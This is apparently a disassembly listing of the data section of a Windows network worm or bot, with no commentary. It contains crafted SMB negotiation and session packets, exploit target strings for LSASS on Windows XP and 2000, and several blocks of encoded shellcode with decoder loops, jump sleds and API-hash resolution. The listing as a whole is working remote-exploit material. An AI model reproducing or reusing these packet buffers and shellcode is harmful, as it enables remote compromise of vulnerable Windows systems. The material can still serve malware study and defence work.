44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_43EFF8 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40D7FE+59o ; sub_40DDD9+59o dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC_4: ; DATA XREF: sub_40D7FE+8Bo ; sub_40DDD9+8Bo unicode 0, <C$>,0 a????? db '?????',0 align 10h dword_43F060 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40D7FE+2AEo ; sub_40DDD9+2D3o dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 2 dup(0) dword_43F0D0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40D7FE+2D5o ; sub_40DDD9+2FEo dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0) dword_43F178 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40D7FE+3B4o ; sub_40DDD9+3E1o dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_43F1F8 dd offset loc_401490+5 ; DATA XREF: sub_40D7FE+3E2o ; sub_40DDD9+40Fo dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_407077+5 dd 1, 0 dd 1, 0 dd offset loc_407077+5 dd 1, 0 dd 1, 0 dd offset loc_407077+5 dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 2 dup(0) dword_43F290 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40D7FE+30Ao ; sub_40DDD9+337o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 2 dup(0) dword_43F300 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40D7FE+335o ; sub_40DDD9+362o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0) dword_43F378 dd 0 ; DATA XREF: sub_40D7FE+363o ; sub_40DDD9+390o dd offset dword_40A86C+2Eh dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset dword_40A86C+2Eh dd 1, 0 dd 1, 0 dd offset dword_40A86C+2Eh dd 1, 0 dd 1, 0 dd offset dword_40A86C+2Eh dd 1, 0 dd 1, 2 dup(0) dword_43F400 dd 0AD9Dh ; DATA XREF: sub_40D7FE+EAr ; sub_40D7FE+41Er dd 2 dup(0) aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0 align 10h dword_43F440 dd 1004600h ; DATA XREF: sub_40D7FE+141r ; sub_40D7FE+249r ... dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h dd 6C6C642Eh, 2 dup(0) dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h dd 70617274h, 6C6C642Eh, 2 dup(0) dd 751C123Ch, 0Fh dup(0) dword_43F4F8 dd 0EB5D03EBh, 0FFF8E805h, 0C58BFFFFh, 3311C083h, 0C9B966C9h ; DATA XREF: sub_40E3B2+118o dd 88308001h, 0DDFAE240h, 7C036403h, 88086409h, 0C4608888h dd 1888889h, 0FE7774CEh, 0C606E074h, 0D9606486h, 1888889h dd 0BBE04ECEh, 0E08888BAh, 0D7BAFBFFh, 4EDE77DCh, 7770CE01h dd 25E074FEh, 60468D51h, 888889B8h, 775ACE01h, 0FAE074FEh dd 609E3B76h, 888889A8h, 7746CE01h, 67E074FEh, 60E86846h dd 88888998h, 7742CE01h, 43E070FEh, 60B37465h, 88888988h dd 777CCE01h, 51E070FEh, 60257D81h, 88888878h, 7778CE01h dd 2CE070FEh, 604FF892h, 88888868h, 7764CE01h, 2CE070FEh dd 6061A625h, 88888858h, 7760CE01h, 6DE070FEh, 60C10EC1h dd 88888848h, 776ACE01h, 6FE070FEh, 60F14EF1h, 88888838h dd 0BB5ECE01h, 7C640977h, 0DC888889h, 888989E0h, 7CDE7788h dd 0D8D8D8D8h, 0D8C8D8C8h, 378DE77h, 0E0DFDF50h, 6FAB888Ah dd 9EE24403h, 0DE77DBD9h, 77DBDF64h, 77BB60DEh, 77DBD9DFh dd 58036ADEh, 0E036CE01h, 88ECE5EBh, 0B4AEE01h, 0B405244Ch dd 0BB48BBACh, 9D490841h, 4E756A23h, 0CC98ACCCh, 0B5ACCC76h dd 0C0ACDC01h, 0C4ACDC01h, 0D8ACDC01h, 98ACCC05h, 0D9D9D8DCh dd 0C1D9C9D9h, 0FE77D9D9h, 0DE77D94Ah, 0E2440346h, 77B97777h dd 40035ADEh, 7736FE77h, 16635EDEh, 0DE9CDE77h, 88B829ECh dd 0C8038888h, 94F80384h, 80C80325h, 888C4AD6h, 0DFDEDDDBh dd 90ACE403h, 3B4CD03h, 8BF08DDCh, 90C2035Dh, 8BA8D203h dd 0C1BA6B55h, 8B03BC03h, 7477BB7Dh, 0B22448BBh, 498FFC4Ch dd 708B8547h, 0F4B37A63h, 69FD9CACh, 8BACD203h, 8403EE55h dd 94D203C3h, 8C03558Bh, 634D8B03h, 348BB8Ah, 0D5D6D75Dh dd 888C4AD3h, 0 dword_43F6E0 dd 280004h, 10h, 4 dup(0) ; DATA XREF: sub_40E3B2+7Bo dd 5A7B91F8h, 11D0FF00h, 0C000B2A9h, 0FCE6B64Fh, 0FFFFFFFFh dd 68736942h, 326B656Bh, 0FF333030h, 0 dd 1, 0 dd 0FFFF0000h, 0FFFFFFFFh, 0FFFFh, 0 dword_43F734 dd 7FFDF020h, 0 ; DATA XREF: sub_40E971+15Ao aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40E971+A5o align 4 dword_43F748 dd 10FF8h ; DATA XREF: sub_40E971+6Fo dword_43F74C dd 10FF8h, 2 dup(0) ; DATA XREF: sub_40E971+36o dword_43F758 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40ED91+7Bo dd 13370000h, 0 dd 2006200h aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0 db 2 aLanman1_0_0 db 'LANMAN1.0',0 dw 5702h aIndowsForWor_0 db 'indows for Workgroups 3.1a',0 db 2 aLm1_2x002_0 db 'LM1.2X002',0 dw 4C02h aAnman2_1_0 db 'ANMAN2.1',0 db 2, 4Eh, 54h aLm0_12_0 db ' LM 0.12',0 align 10h dword_43F7E0 dd 0 ; DATA XREF: sub_40ED91+44o dd 800000D4h, 0 dword_43F7EC dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40ED91+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 3 dup(0) unk_43F820 db 81h ; ; DATA XREF: sub_40EE6B+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 align 10h byte_43F870 db 41h ; DATA XREF: sub_40F47A+104r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 8 aSvwfbA db 'SVWfì€',0 ; DATA XREF: seg000:0040F753o aIcsa db '‰æèí',0 db 2 dup(0), 0FFh dd 12096836h, 0F7E863D6h, 89000000h, 0A2E80846h, 0FF000000h dd 6B680476h, 0E8CA2BD0h, 0E2h, 0E80C4689h, 3Fh, 680476FFh dd 4C0297FAh, 0CDE8h, 68DB3100h, 410h, 89D0FF53h, 768B56C3h dd 0B9C78910h, 410h, 315EA4F3h, 505050C0h, 0FF505053h dd 468B0C56h, 0C4816608h, 5E5F0080h, 60E0FF5Bh, 23E8h dd 24448B00h, 7C588D0Ch, 53C4383h, 284381h, 81000010h dd 0F0002863h, 48BFFFFh, 14C48324h, 0C3C03150h, 0FF64D231h dd 22896432h, 90B8DB31h, 31429042h, 8902B1C9h, 74AFF3DFh dd 0F3EB4303h, 64107E89h, 6158028Fh, 20BF60C3h, 8B7FFDF0h dd 8468B1Fh, 7F8B0789h, 78C781F8h, 89000001h, 741939F9h dd 0EB098B04h, 39FA89F8h, 574045Ah, 0EB04528Bh, 891189F6h dd 43C6044Ah, 0C36101FDh, 0FDF00CA1h, 1C408B7Fh, 8908588Bh dd 8B008B1Eh, 46890840h, 8B60C304h, 8B28246Ch, 548B3C45h dd 0EA017805h, 8B184A8Bh, 0EB01205Ah, 8B4938E3h, 0EE018B34h dd 0C031FF31h, 0E038ACFCh, 0CFC10774h, 0EBC7010Dh, 247C3BF4h dd 8BE17524h, 0EB01245Ah, 4B0C8B66h, 11C5A8Bh, 8B048BEBh dd 4489E801h, 0C2611C24h, 0FEEB0008h, 0 dword_43FA20 dd 0F254C481h, 0E8FCFFFFh, 46h, 8B3C458Bh, 178057Ch, 184F8BEFh ; DATA XREF: seg000:0040F701o dd 1205F8Bh, 492EE3EBh, 18B348Bh, 99C031EEh, 74C084ACh dd 0DCAC107h, 0F4EBC201h, 424543Bh, 5F8BE375h, 66EB0124h dd 8B4B0C8Bh, 0EB011C5Fh, 18B1C8Bh, 245C89EBh, 0C031C304h dd 30408B64h, 0F78C085h, 8B0C408Bh, 8BAD1C70h, 0BE90868h dd 8B000000h, 7C053440h, 8B000000h, 315F3C68h, 0EB5660F6h dd 0CEEF680Dh, 986860E0h, 570E8AFEh, 0EEE8E7FFh, 0FFFFFFh dword_43FAB0 dd 1000005h, 10h, 418h, 0 ; DATA XREF: seg000:0040FC62o dd 400h, 90000h, 3 dup(1), 2 dup(3), 2, 7E4h, 0 dd 7E4h, 53004Fh, 3Ah aPrivate: ; DATA XREF: seg000:0040FC86o unicode 0, <\PRIVATE$\>,0 align 4 dword_43FB0C dd 5, 10h, 418h, 0 ; DATA XREF: seg000:0040FC93o dd 400h, 90000h, 0 dword_43FB28 dd 2000005h, 10h, 404h, 0 ; DATA XREF: seg000:0040FCBFo dd 3ECh, 90000h, 0 dword_43FB44 dd 909008EBh, 4014E9h, 2 dup(90909090h), 909008EBh, 4014E9h ; DATA XREF: seg000:0040FCD2o dd 1AEB9090h, 6F684041h, 6F657375h, 62616466h, 41487375h dd 909006EBh, 100124Dh, 90909090h, 9090h dword_43FB80 dd 0E983C929h, 0D9EED9B0h, 5BF42474h, 19137381h, 833704F5h ; DATA XREF: seg000:0040FD03o dd 0F4E2FCEBh, 7AEF9FE5h, 0C8FB0CF1h, 5B8F95E6h, 728FD13Dh dd 32787E25h, 0BCEBF461h, 688FED56h, 7EEFF439h, 368FC192h dd 0AEC4C4F7h, 43C471B5h, 3ACE341Eh, 0C3EF3718h, 1F20A122h dd 688F106Ch, 51EFF43Dh, 0BC4FF992h, 0DC05E946h, 0BE8FD91Ah dd 5618D175h, 53DFC4DAh, 0BC34B692h, 478FF959h, 778F5805h dd 0B96CAB11h, 67E8FB57h, 646223E6h, 5379D7Fh, 5778271h dd 0E7FBA146h, 0CBE93E71h, 0E1FBA522h, 51E17C46h, 350C1898h dd 0C8069F4Ch, 3EDD9DC9h, 0C85358ECh, 6457A6CFh, 6447A64Ah dd 0E7FBA65Ah db 7Fh, 9Dh word_43FC3A dw 551Ah ; DATA XREF: seg000:0040FD0Cw dd 0D68DA67Fh, 2DA09D8Ch, 0C8533269h, 66149FCFh, 5FD40A4Ch dd 0DE2A58BDh, 64D20A4Eh, 5FD40A4Ch, 7E82BCFCh, 67D20A4Eh dd 0C851A14Dh, 0D06C66C9h, 607D3360h, 0C85123E6h, 536E93C9h dd 5A679D7Fh, 676E1090h, 0BEC8DC40h, 0BE409FFEh, 0C4C4C4FBh dd 1A460BB3h, 0A428B7E7h, 9C3C8F94h, 456C5EB2h, 0C81246E7h dd 0E1FBB16Ch, 6656A242h, 366EA448h, 6651A448h, 9A6C25E6h dd 64CAF0C0h, 0C86E23E6h, 0E7FBC2E6h, 0B4F8A292h, 0E1FB91DDh dd 5FD40A4Bh, 57E43BF6h, 0C8D20A4Ah, 3704F5C9h, 2 dup(0) dword_43FCE0 dd 4A5A10EBh, 0B966C933h, 3480017Dh, 0FAE2990Ah, 0EBE805EBh ; DATA XREF: seg000:004103D6o ; seg000:004104AFo dd 70FFFFFFh, 99999895h, 0A938FDC3h, 12999999h, 0E91295D9h dd 0D9123485h, 12411291h, 0ED12A5EAh, 6A9AE187h, 9AB9E712h dd 8DD71262h, 0CECF74AAh, 9AA612C8h, 0F36B1262h, 3F6AC097h dd 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh, 125412C7h, 5A9ABDDFh dd 589A7848h, 12FF50AAh, 85DF1291h, 78585A9Ah, 12589A9Bh dd 125A9A99h, 1A6E1263h, 4912975Fh, 71C09AF3h, 9999991Eh dd 0CB945F1Ah, 65CE66CFh, 0F34112C3h, 0ED71C09Ch, 0C9999999h dd 0F3C9C9C9h, 669BF398h, 411275CEh, 999B9E5Eh dword_43FD90 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh ; DATA XREF: seg000:00410305o dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh dd 0FAF6EAFCh, 99EDFCF2h, 0 dword_43FE78 dd 600EBh ; DATA XREF: seg000:00410460o dword_43FE7C dd 0FFF83FE9h, 0FFh ; DATA XREF: seg000:00410393o off_43FE84 dd offset aWeingarten+9 ; DATA XREF: seg000:00410481o a2w: unicode 0, <2w>,0 align 10h dword_43FE90 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 ; DATA XREF: seg000:00410561o ; seg000:0041061Do dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2 dword_43FED8 dd 3000005h, 10h, 0D20h, 1, 0D08h, 90000h, 419h, 0 ; DATA XREF: seg000:0041040Eo dd 419h dword_43FEFC dd 3000005h, 10h, 1520h, 1, 1508h, 90000h, 819h, 0 ; DATA XREF: seg000:00410341o dd 819h dword_43FF20 dd 0BAADh, 40000h, 0 ; DATA XREF: seg000:00410442o dd 40000h, 430000h, 5C003Ah, 40000h, 0 dd 40000h, 430000h, 5C003Ah, 40000h, 0 dd 40000h, 430000h, 5C003Ah, 8080000h, 130079h, 0 dd 130000h, 640000h, 6D006Fh, 690061h, 2E006Eh, 610062h dd 740073h, 720061h, 2E0074h, 65006Eh, 74h, 0BAADh, 8500000h dd 0B0079h, 0 dd 0B0000h, 440000h, 4D004Fh, 490041h, 5C004Eh, 4C0042h dd 41h, 6C68BAADh, 0F0B60013h, 24E563BBh, 5FD45F0Fh, 0DF7B4444h dd 0DA1E42A2h, 0F84FBDC6h, 0CC7B2D6Dh, 0F6DAFABFh, 9957C071h dd 410B1AEBh, 46F69CCBh, 2E0CCA98h, 0FEE65D4Fh, 0BCE2FD34h dd 14772D1h, 0DDAFF5E1h, 276A0160h, 26F6C036h, 909C988Bh dd 2383541Fh, 0FF78501Dh, 0BC6FC3A9h, 7AEDEAD6h, 0D33E15C9h dd 18924307h, 84B743A3h, 99912670h, 6AFBAC10h, 0FAF6373Fh dd 232A7A8h, 0C47B323Ah, 2F373822h, 0FBB32D08h, 0AB0316D8h dd 0D2B7ACC5h, 0AB285C9Eh, 54F58E7Eh, 1EF0BFA3h, 0FC370693h dd 0B6B21CD0h, 0B35B23D5h, 3BD4E764h, 0BD1FE911h, 6696F5C8h dd 0C7D84740h, 56F525C2h, 0B1E658D7h, 85459C41h, 0CF5515B8h dd 1B99583Eh, 0E479E2EFh, 0F5B9A1AFh, 5BADB1C4h, 0FCB06DFh dd 6FF714h, 0F450AEC3h, 0BE20C3AFh, 1D9B9B89h, 902F08B5h dd 0B593A29Ch, 0AD3EB99h, 65BD84B4h, 0DCF9C147h, 4FB358D5h dd 1F051851h, 665F64B7h, 4F7D2E50h, 0FD32403Ah, 0CAA2048Eh dd 0E8ECD048h, 1C68BE70h, 0C1F22032h, 2C20A9E2h, 0AFD8F043h dd 0AD2A81EFh, 39300457h, 0ACBB45F6h, 54D49701h, 16DF66BFh dd 4B670129h, 856AA3B8h, 0A04D2B42h, 0B6FB0C9Bh, 81BDC57Ch dd 0D9741A3Eh, 584B13DFh, 0EACF0598h, 9CEBFF61h, 3FEC7886h dd 3FD3839h, 8BC57D88h, 1615362Dh, 3C94E81Bh, 10890BE9h dd 1114E699h, 2F8C54Fh, 0B195A1B8h, 0F62BCF58h, 3F3E17B2h dd 0E2DE4865h, 0B8E74DAEh, 0BFFADE91h, 0E6463Ch, 0A37E40A4h dd 0A0A1DE35h, 15EBF902h, 27A4A30h, 3A2DE938h, 942C18F3h dd 35F74713h, 0A03749A7h, 0BFAA1B98h, 0E3028BF5h, 6A5444F4h dd 0BF8D9185h, 0C24CE40Ch, 8239677Fh, 4B0E4B66h, 0ACA84C34h dd 51110F0Ah, 0A35A3E7Bh, 0F24626FBh, 6D3BAF84h, 81774A00h dd 0B7DB7009h, 0A2EFECF5h, 110328F8h, 1D3D93ADh, 4FC3D6ACh dd 7382EFFAh, 7B7D0CAh, 6E901B06h, 0F0B60013h, 24E563BBh dd 5AB55F0Fh, 0EA2829F2h, 9F08AC70h, 7E92BB80h, 0E2F4253Ch dd 91578ABFh, 0D28AC0F1h, 423A4F01h, 0C35570EEh, 70C4C75h dd 0DFA846FFh, 684519A9h, 17172D0h, 0DDAF22E1h, 9CE4A188h dd 15F6C071h, 891109F0h, 53830A1Fh, 6C4E501Dh, 0BC6F6409h dd 3F57EAAEh, 0D33E15B4h, 0ED924307h, 84B75E17h, 36912673h dd 92FBFC09h, 0FAEA348Ah, 0BB32A7A8h, 0C47B3235h, 2F37282Ah dd 0FBB32D08h, 0ABDB16D8h, 3B7ACC5h, 0ABD95C0Bh, 54F58E7Eh dd 1EF0BFA3h, 0FC37145Ch, 0B6B21CFBh, 0B3BE90D5h, 0A1D4E764h dd 0BD1FE911h, 6696F5C8h, 8BD84740h, 56F5258Dh, 0B1E658D7h dd 46039C41h, 0CF551570h, 1B99583Eh, 0E415E2EFh, 0F5FEA1AFh dd 5BADB1C4h, 0FCB06DFh, 6FF714h, 0AA50AEC3h, 0BE20C3AFh dd 1D9B9BD2h, 902F08B5h, 0B58AA29Ch, 0AD3EB99h, 656D84B4h dd 0DCF9C147h, 812E58D5h, 8B051851h, 665F64B7h, 4F7DCD50h dd 0FD32403Ah, 0CAA2048Eh, 0E848D048h, 1C219170h, 0C1F22032h dd 2CC3A9E2h, 0AFD8F043h, 0AD2A81EFh, 39300457h, 0ACBB45F6h dd 54D4979Ah, 16DFE8BFh, 4BDAB329h, 856AA3B8h, 0A04D2B42h dd 0B6FB7E9Bh, 0ABBDC5D7h, 0D9741A3Eh, 584B13DFh, 0EACF0598h dd 9CEBFF61h, 3FEC7886h, 3FD3839h, 8BC57D88h, 1615362Dh dd 0BE94E81Bh, 10890BE9h, 1114E699h, 2F8C54Fh, 0B195A1B8h dd 0F62BCF58h, 3F3E17B2h, 0E2DE1865h, 0B8E74DADh, 0BFFADE91h dd 0E6463Ch, 0A37E40A4h, 0A0A1DE35h, 15EBF9DCh, 27AFD30h dd 3A2DE938h, 942C18F3h, 64F74713h, 0A03749A7h, 0BFAA1B98h dd 0E3028BF5h, 6A5444F4h, 0BF8D9132h, 0C24CE40Ch, 8239677Fh dd 4B0E4B66h, 0ACA84C34h, 51110F0Ah, 0A35A3E7Bh, 0F24626FBh dd 6D3BAF84h, 81774A00h, 0B7DB7009h, 0A2EFECF5h, 110328F8h dd 1D3DB8ADh, 4FC3D6ACh, 7382EFFAh, 7B7D0CAh, 8C01B06h dd 2 dup(0) dword_4403F0 dd 0AD00F0h, 0D00BAh, 0AD00F0h, 0D00BAh, 0AD00F0h, 0D00BAh ; DATA XREF: seg000:00410375o dd 0AD00F0h, 0AB00BAh, 3 dup(0AB00ABh), 0ABh, 0BAADh, 40000h dd 0 dd 40000h, 430000h, 5C003Ah, 40000h, 0 dd 40000h, 430000h, 5C003Ah, 40000h, 0 dd 40000h, 430000h, 5C003Ah, 1F500000h, 130079h, 0 dd 130000h, 640000h, 6D006Fh, 690061h, 2E006Eh, 610062h dd 740073h, 720061h, 2E0074h, 65006Eh, 74h, 0BAADh, 1F980000h dd 0B0079h, 0 dd 0B0000h, 440000h, 4D004Fh, 490041h, 5C004Eh, 4C0042h dd 41h, 6C68BAADh, 6FF80013h, 780871B6h, 7906B81Dh, 681B4105h dd 0A519318Fh, 8EF1AE30h, 0FEA20E2Dh, 0E10BAE59h, 0F668E92Fh dd 3DBBE22Bh, 0C9FE0679h, 10BC298Fh, 7A80C221h, 0AE21D2C8h dd 4BB6B50Eh, 6341DBF5h, 503DCD4Fh, 16B2EC49h, 62E61679h dd 48066954h, 18A491ADh, 65476540h, 9C51320Ch, 8918033Fh dd 0A8CFCA73h, 4544AF4Eh, 45745E1Ah, 2AA23559h, 0B312E7C7h dd 250D2D9Bh, 9F72D49Ah, 0CD63800Bh, 0B488DB31h, 0FBFFF7A7h dd 8B52B7BEh, 0E24E0F98h, 7E3F94C6h, 0A0BA7AC2h, 8F3EAC69h dd 32706D45h, 0FFFA1DFCh, 2FF75D6Eh, 974CDF4Fh, 2A6FD55Eh dd 3597F736h, 0EC535F2h, 24D28A6Bh, 0FED5ED62h, 3D5BB4C6h dd 51A693F8h, 0EABEB7CDh, 853D253Bh, 7B4CEA2Eh, 0B465545Eh dd 63045DD4h, 0E8D119Ah, 51529C16h, 1F717A3Ah, 0B77EE55Ch dd 0E653AEBDh, 1A26D3B9h, 24EED272h, 0D590E979h, 533C056Bh dd 0AF028119h, 72C03514h, 61FC14ABh, 0F2B90F3Fh, 93DE26C0h dd 1796F37h, 0D7DA3452h, 0D815311Dh, 0D143E127h, 0C9CA5CB9h dd 0C904E41h, 68CAD06Bh, 0DFDF54F1h, 0FF2E9AE0h, 0F19918E2h dd 89B2F77Ah, 6E508D09h, 233B4704h, 91F429ABh, 76117BA2h dd 0D09B57DDh, 891B18C9h, 0F4931D47h, 0B2243192h, 0D59B1C2Dh dd 85E02CA5h, 0C9BC5C0Eh, 391E990Dh, 78B62407h, 0DE0497A4h dd 4862937Dh, 6EA0E05Ah, 0CBA5AFF7h, 68104795h, 0F94C833Dh dd 1BEAA05Dh, 0A1E74B9Ah, 56F21589h, 1CD8D722h, 75E3EE2Fh dd 77BD6D19h, 0B2415BF0h, 0C573CD85h, 3146AA92h, 4E6AB17Dh dd 6038110Dh, 0C5E9C0A5h, 0EE83E634h, 0C79E34F8h, 1F2137D6h dd 0C25536DAh, 945DDB80h, 2EAFF676h, 0CF562D07h, 0BB6B6C1Ch dd 3C6AF0A7h, 0DE8A55BDh, 0A0DDD260h, 15003D6h, 0E290152h dd 0CF353A38h, 51B72663h, 8DCD3FD0h, 986F2F49h, 0C5F77BDh dd 364A9BCh, 6A7C6B6Fh, 6E90B28Dh, 6FF80013h, 780871B6h dd 6412B81Dh, 712E4483h, 16CE899Eh, 41BF70E6h, 0FE09C7F6h dd 0E1DAB4F0h, 24F7E92Fh, 51DE48F1h, 0C9FE5877h, 85B35868h dd 74CC2A4h, 0AE00ACC8h, 24D7C0Eh, 63416DF1h, 50ACAB4Fh dd 16B2EC49h, 0ADFF1EE6h, 0EC060AA1h, 1EB1C0A2h, 0A5AD6640h dd 9CDCD90Ah, 8918DD3Fh, 0A8CFCA73h, 45448B0Bh, 0B574DD10h dd 2AA272B4h, 0B312E7C7h, 0AD0D2D9Bh, 9F71D49Ah, 50D7750Bh dd 0B488DB31h, 7EFFF7A7h, 8B72B7BEh, 0A14ED9A8h, 7E3F94C6h dd 0A0BA60C2h, 0F3EEA69h, 32706D45h, 91FA1DD2h, 2FF75D6Eh dd 974C46E4h, 2A6FD58Dh, 3697F736h, 0EC535F2h, 24648A6Bh dd 0FED5ED95h, 3D5BB4C6h, 51A60FF8h, 0EABEB7CDh, 74FF8EEAh dd 0CD4CEA98h, 0B465545Eh, 63CA5DD4h, 0E8D699Ah, 51529C16h dd 1F717A3Ah, 0B77EE55Ch, 0E653AE6Dh, 1A26D3B9h, 24EED272h dd 0D590E979h, 533C056Bh, 0AF028119h, 72C03514h, 61FC16F4h dd 0F291A03Fh, 93DE26C0h, 1796F37h, 0D7DA34B8h, 0D8153186h dd 0D143E144h, 0C9CAF5B2h, 0C906E41h, 68CAD06Bh, 0DFDF54F1h dd 0FF2E9AE0h, 0F19918E2h, 897AF77Ah, 6E0E8D09h, 233B4704h dd 91F429ABh, 761129A2h, 0D09B57DDh, 891B18C9h, 0F4FD1D47h dd 0B2243192h, 0D59B1C2Dh, 85E02CA5h, 0C9BC5C0Eh, 391E990Dh dd 78B62407h, 0DE0497A4h, 4862937Dh, 6EA0E05Ah, 0CBA5AFF7h dd 688D4795h, 0F94C833Dh, 1BEAA05Dh, 0A1E74B9Ah, 56F21589h dd 1CD8D722h, 75C2EE2Fh, 77BD6D19h, 0B2415BF0h, 0C573CD85h dd 3146AA92h, 4E6AB17Dh, 6038110Dh, 0C5E9C0A5h, 0DD83F934h dd 0C79E34C3h, 1F2137D6h, 0C25536DAh, 945DDB80h, 2EAFF676h dd 0CF9D2D07h, 0BB6B6C1Ch, 3C6AF0A7h, 0DE8A55BDh, 0A0DDD260h dd 15003D6h, 0E290152h, 0CF353A38h, 51B7263Eh, 8DCD3FD0h dd 986F2F49h, 0C5F77BDh, 364A9BCh, 6A7C6B6Fh, 8C0B28Dh dd 2 dup(0) dword_4408F0 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: seg000:0041074Bo dd 0FEFF0000h, 0 dd 2006200h aPcNetworkPro_1 db 'PC NETWORK PROGRAM 1.0',0 db 2 aLanman1_0_1 db 'LANMAN1.0',0 dw 5702h aIndowsForWor_1 db 'indows for Workgroups 3.1a',0 db 2 aLm1_2x002_1 db 'LM1.2X002',0 dw 4C02h aAnman2_1_1 db 'ANMAN2.1',0 db 2, 4Eh, 54h aLm0_12_1 db ' LM 0.12',0 align 10h dword_440980 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: seg000:0041078Fo dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows20002_0: unicode 0, <Windows 2000 2195>,0 aWindows20005_1: unicode 0, <Windows 2000 5.0>,0 align 10h dword_440A30 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: seg000:004107C2o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 41ED0000h, 2686272Ch dd 0B3A059D2h, 8800AA5Eh, 57C56Fh, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 